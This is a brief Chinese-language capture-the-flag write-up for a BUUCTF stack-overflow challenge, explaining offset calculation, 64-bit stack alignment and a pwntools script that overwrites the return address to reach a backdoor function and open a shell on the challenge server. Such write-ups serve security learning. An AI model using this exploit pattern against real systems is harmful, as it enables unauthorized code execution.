话不多说,直接上题(BUUCTF)
IDA64 反编译
去找后门函数
记录地址
缓冲区 s 存在明显栈溢出
15 + 8 覆盖掉这段地址到 r 返回地址中
64 位系统还需要保持一个栈平衡,需要找 lea 的地址或者该函数结束即 retn 的地址
当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前
esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址一定要是 call 指令的下一个地址
编写脚本
from pwn import *
p = remote("node5.buuoj.cn", 26964)
payload = b'a' * 23 + p64(0x401198) + p64(0x401186)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END
暂无评论内容